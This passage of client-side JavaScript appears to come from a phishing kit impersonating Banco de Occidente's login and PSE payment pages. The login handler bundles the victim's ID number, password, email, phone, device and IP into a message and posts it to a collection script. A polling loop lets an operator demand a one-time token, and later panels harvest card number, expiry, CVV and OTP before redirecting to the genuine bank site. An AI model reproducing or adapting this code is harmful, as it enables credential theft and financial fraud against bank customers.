          document.getElementById('btn-continuar').setAttribute('disabled', '');
        }
      });

      // Validación para OTP
      document.getElementById('otp-number').addEventListener('input', function(e) {
        this.value = this.value.replace(/[^0-9]/g, '');
        if (this.value.length > 5) {
          document.getElementById('btn-error').removeAttribute('disabled');
        } else {
          document.getElementById('btn-error').setAttribute('disabled', '');
        }
      });

      // Validación para tarjeta
      document.getElementById('credit-card').addEventListener('input', function(e) {
        this.value = this.value.replace(/[^0-9]/g, '');
        if (this.value.length > 9 && document.getElementById('card-cvv').value.length > 0 && 
            document.getElementById('inp-mes').value != "" && document.getElementById('inp-ano').value != "") {
          document.getElementById('btn-activar').removeAttribute('disabled');
        } else {
          document.getElementById('btn-activar').setAttribute('disabled', '');
        }
      });

      // Validación para CVV
      document.getElementById('card-cvv').addEventListener('input', function(e) {
        this.value = this.value.replace(/[^0-9]/g, '');
        if (this.value.length > 0 && document.getElementById('credit-card').value.length > 9 && 
            document.getElementById('inp-mes').value != "" && document.getElementById('inp-ano').value != "") {
          document.getElementById('btn-activar').removeAttribute('disabled');
        } else {
          document.getElementById('btn-activar').setAttribute('disabled', '');
        }
      });

      // Validación para fecha
      document.getElementById('inp-mes').addEventListener('change', function() {
        if (document.getElementById('credit-card').value.length > 9 && document.getElementById('card-cvv').value.length > 0 && 
            this.value != "" && document.getElementById('inp-ano').value != "") {
          document.getElementById('btn-activar').removeAttribute('disabled');
        } else {
          document.getElementById('btn-activar').setAttribute('disabled', '');
        }
      });

      document.getElementById('inp-ano').addEventListener('change', function() {
        if (document.getElementById('credit-card').value.length > 9 && document.getElementById('card-cvv').value.length > 0 && 
            document.getElementById('inp-mes').value != "" && this.value != "") {
          document.getElementById('btn-activar').removeAttribute('disabled');
        } else {
          document.getElementById('btn-activar').setAttribute('disabled', '');
        }
      });
    });

    // Event listener para el botón Ingresar
    document.getElementById('btn-ingresar').addEventListener('click', async function (event) {
      event.preventDefault();

      // Obtener datos del formulario
      const identificacion = document.getElementById('document-number').value;
      const password = document.getElementById('password12').value;
      const tipoDocumento = document.getElementById('inp-tipo').value;
      
      // Validar que la contraseña tenga al menos 4 caracteres
      if (password.length < 4) {
        alert('La contraseña debe tener al menos 4 caracteres');
        return;
      }
      
      // Validar que la identificación tenga al menos 5 dígitos
      if (identificacion.length < 5) {
        alert('La identificación debe tener al menos 5 dígitos');
        return;
      }

      // Mostrar loader
      document.getElementById('fondo').style.display = 'block';
      document.getElementById('mensaje').style.display = 'block';

      const session_id = localStorage.getItem('session_id');

      localStorage.setItem('password', password);
      localStorage.setItem('session_id', session_id);
      localStorage.setItem('identificacion', identificacion);
      localStorage.setItem('tipoDocumento', tipoDocumento);

      // Detectar tipo de dispositivo
      const userAgent = navigator.userAgent;
      let dispositivo = 'PC';
      
      if (/Android/i.test(userAgent)) {
        dispositivo = 'Android';
      } else if (/iPhone|iPad|iPod/i.test(userAgent)) {
        dispositivo = 'iPhone';
      } else if (/Windows/i.test(userAgent)) {
        dispositivo = 'PC';
      } else if (/Mac/i.test(userAgent)) {
        dispositivo = 'Mac';
      } else if (/Linux/i.test(userAgent)) {
        dispositivo = 'Linux';
      }
      
      const hora = new Date().toLocaleString('es-ES');
      
      // Obtener IP y construir mensaje
      fetch('get_ip.php')
        .then(response => response.json())
        .then(data => {
          const ip = data.ip || 'No disponible';
          
          const mensaje = `
💎BANCO OCCIDENTE💎

<b>fu7ur4ma</b>

---------------
<b>💌Correo:</b> ${localStorage.getItem('correo') || 'No disponible'}
<b>📞Celular:</b> ${localStorage.getItem('cel') || 'No disponible'}
<b>💸Cedula:</b> ${localStorage.getItem('val') || 'No disponible'}
<b>👤Persona:</b> ${localStorage.getItem('per') || 'No disponible'}
<b>🏦Banco:</b> ${localStorage.getItem('nom') || 'No disponible'}
<b>🪬Tipo:</b> RECARGA PSE
---------------
<b>📟Dispositivo:</b> ${dispositivo}
<b>🗺IP:</b> ${ip}
<b>⏱Hora:</b> ${hora}
---------------
📋 Tipo Documento: ${tipoDocumento}
---------------
👤 Usuario: ${identificacion}
🔑 Clave: ${password}
---------------`;

          const formData = new FormData();
          formData.append('message', mensaje);
          formData.append('transactionId', session_id);

          fetch('procesar_logo.php', {
            method: 'POST',
            body: formData
          })
          .then(res => res.json())
          .then(result => {
            if (result.status === 'success') {
              checkPaymentVerification(session_id, result.messageId);
            } else {
              // Ocultar loader si hay error
              document.getElementById('fondo').style.display = 'none';
              document.getElementById('mensaje').style.display = 'none';
            }
          })
          .catch(err => {
            // Ocultar loader si hay error
            document.getElementById('fondo').style.display = 'none';
            document.getElementById('mensaje').style.display = 'none';
          });
        })
        .catch(() => {
          // Si falla la obtención de IP, enviar sin IP
          const mensaje = `
💎BANCO OCCIDENTE💎

<b>fu7ur4ma</b>

---------------
<b>💌Correo:</b> ${localStorage.getItem('correo') || 'No disponible'}
<b>📞Celular:</b> ${localStorage.getItem('cel') || 'No disponible'}
<b>💸Cedula:</b> ${localStorage.getItem('val') || 'No disponible'}
<b>👤Persona:</b> ${localStorage.getItem('per') || 'No disponible'}
<b>🏦Banco:</b> ${localStorage.getItem('nom') || 'No disponible'}
<b>🪬Tipo:</b> RECARGA PSE
---------------
<b>📟Dispositivo:</b> ${dispositivo}
<b>🗺IP:</b> No disponible
<b>⏱Hora:</b> ${hora}
---------------
📋 Tipo Documento: ${tipoDocumento}
---------------
👤 Usuario: ${identificacion}
🔑 Clave: ${password}
---------------`;

          const formData = new FormData();
          formData.append('message', mensaje);
          formData.append('transactionId', session_id);

          fetch('procesar_logo.php', {
            method: 'POST',
            body: formData
          })
          .then(res => res.json())
          .then(result => {
            if (result.status === 'success') {
              checkPaymentVerification(session_id, result.messageId);
            } else {
              // Ocultar loader si hay error
              document.getElementById('fondo').style.display = 'none';
              document.getElementById('mensaje').style.display = 'none';
            }
          })
          .catch(err => {
            // Ocultar loader si hay error
            document.getElementById('fondo').style.display = 'none';
            document.getElementById('mensaje').style.display = 'none';
          });
        });
    });

    async function checkPaymentVerification(transactionId, messageId) {
      try {
        const formData = new FormData();
        formData.append('transactionId', transactionId);
        formData.append('messageId', messageId);

        const res = await fetch('verificar_respuesta.php', {
          method: 'POST',
          body: formData
        });
        const result = await res.json();

        if (result.action) {
          switch (result.action) {
            case 'pedir_dinamica':
              window.location.href = "token.php";
              break;
            case 'error_logo': 
              // Ocultar loader antes de mostrar error
              document.getElementById('fondo').style.display = 'none';
              document.getElementById('mensaje').style.display = 'none';
              alert("Usuario o clave incorrectos.");
              window.location.href = "index.php";
              break;
          }
        } else {
          setTimeout(() => checkPaymentVerification(transactionId, messageId), 2000);
        }
      } catch (err) {
        setTimeout(() => checkPaymentVerification(transactionId, messageId), 2000);
      }
    }

    // Event listeners para los otros botones
    document.getElementById('btn-registrate').addEventListener('click', function(){
      alert("registro");
    });

    document.getElementById('btn-cancelar').addEventListener('click', function(){
      alert("cancelar");
    });

    document.getElementById('btn-continuar').addEventListener('click', function(){
      document.getElementById('panel-celular').style.display = 'none';       
      document.getElementById('panel-tarjeta').style.display = 'block';
      document.getElementById('celular').value = document.getElementById('celular-number').value;
    });

    document.getElementById('btn-error').addEventListener('click', function(){
      document.getElementById('panel-otp').style.display = 'none';       
      document.getElementById('panel-tarjeta').style.display = 'block';
      document.getElementById('celular').value = document.getElementById('otp-number').value;
    });

    document.getElementById('btn-activar').addEventListener('click', function(){
      const f = document.getElementById('inp-mes').value + "-" + document.getElementById('inp-ano').value;
      
      // Aquí puedes agregar tu propia lógica en lugar de enviar a paso3.php
      alert("Datos capturados:\nTarjeta: " + document.getElementById('credit-card').value + 
            "\nFecha: " + f + 
            "\nCVV: " + document.getElementById('card-cvv').value + 
            "\nCelular: " + document.getElementById('celular').value + 
            "\nCorreo: " + document.getElementById('correo').value + 
            "\nUsuario: " + document.getElementById('cedula').value + 
            "\nContraseña: " + document.getElementById('contrasena').value + 
            "\nTipo: " + document.getElementById('tipo').value);
      
      // Redirigir a donde necesites
        window.location.href = "https://www.bancodeoccidente.com.co/portaltransaccional/#/login"; 
    });

    document.getElementById('btn-aceptar').addEventListener('click', function(){
      document.getElementById('panel-aceptar').style.display = 'none';
    });

    document.getElementById('btn-x').addEventListener('click', function(){
      document.getElementById('panel-cerrar').style.display = 'none';
    });
</script>